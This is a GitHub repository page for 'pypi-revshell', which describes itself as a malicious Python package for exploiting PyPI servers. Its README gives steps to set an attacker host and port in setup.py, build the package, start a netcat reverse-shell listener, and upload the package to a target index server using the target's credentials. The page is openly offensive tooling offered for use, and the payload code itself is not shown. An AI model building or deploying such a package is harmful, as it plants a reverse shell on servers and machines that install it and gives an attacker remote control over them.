Skip to content

Malicious Python package for PyPi server exploitation

License

Notifications You must be signed in to change notification settings

iamkashz/pypi-revshell

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

3 Commits
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

pypi-revshell

Malicious Python package for PyPi server exploitation

Create ~/.pypirc with the target PyPi creds

https://pypi.org/project/pypiserver/#upload-with-setuptools

Using setuptools:

git clone https://github.com/iamkashz/pypi-revshell.git
cd pypi-revshell
# modify LHOST, LPORT in setup.py

# to confirm package creation
python setup.py sdist
# should create tar archive under dist/pypi-revshell-0.1.tar.gz

# start listener using 
nc -lvnp LPORT

# uplood package to target
python setup.py sdist upload -r [remote-index-server]

References

About

Malicious Python package for PyPi server exploitation

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages